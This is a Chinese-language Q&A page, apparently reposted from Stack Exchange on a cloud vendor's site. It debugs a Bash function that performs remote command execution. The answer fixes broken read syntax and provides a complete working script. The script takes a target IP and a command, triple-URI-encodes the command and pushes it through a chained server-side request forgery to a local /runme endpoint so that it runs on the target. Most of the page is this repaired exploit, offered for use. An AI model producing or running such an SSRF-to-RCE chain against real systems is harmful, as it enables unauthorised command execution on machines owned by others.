You need to enable JavaScript to run this app.
优惠活动
大模型
产品
解决方案
定价
更多

Bash脚本中运行RCE函数与终端直接运行的差异排查

Bash脚本RCE函数无输出的问题排查与修复

为啥脚本没输出?问题出在这几点

  • read命令语法彻底错了:
    1. 第一行获取IP的read命令少了闭合的双引号,且变量赋值写法完全错误。原代码read -p "Enter Target IP: TARGET_IP 必须写成read -p "Enter Target IP: " TARGET_IP,不然TARGET_IP变量根本拿不到你输入的IP,curl请求的目标为空,肯定无响应。
    2. 第二行读命令的read -p cmd 写法错误:-p参数后必须跟提示文本,变量名要放在最后。原写法会把cmd当成提示内容,你输入的命令会被存到默认变量REPLY里,而非cmd变量,导致后续三次编码的内容为空,请求参数完全无效。
  • curl URL里有冗余符号:x={$ECMD} 中的{}是多余的,虽然你终端执行时碰巧没影响,但脚本里这么写容易引发解析问题,建议删掉。

修复后的可用脚本

#!/bin/bash

function rce(){
    while true; do
        # 正确读取目标IP
        read -p "Enter Target IP: " TARGET_IP
        # 正确读取要执行的命令
        echo -n "# "; read cmd
        # 对命令进行三次URI编码
        ECMD=$(echo -n "$cmd" | jq -sRr @uri | jq -sRr @uri | jq -sRr @uri)
        # 修正URL参数,移除冗余符号
        curl -s -o - "http://$TARGET_IP/load?q=http://internal.app.local/load?q=http://127.0.0.1:5000/runme?x=$ECMD"
        echo ""
    done
}

脚本和终端直接执行的差异

你在终端手动执行时,是自己正确赋值了TARGET_IP和cmd变量,且curl命令参数完全正确;但脚本里因为read的语法错误,这两个变量根本没获取到你输入的内容,curl发送的请求要么目标IP为空,要么参数无效,自然得不到预期输出。

内容的提问来源于stack exchange,提问作者Mustafa Legrand

相关产品推荐
方舟 Agent Plan

超全模态模型 × Harness 升级,最新支持 Deepseek-V4.1-Flash、GLM-5.3 系列、Doubao-Seedream-5.0-pro、Kimi-K3 (部分), 限时 9.9 元起

最近更新时间:2026.08.19 21:40:16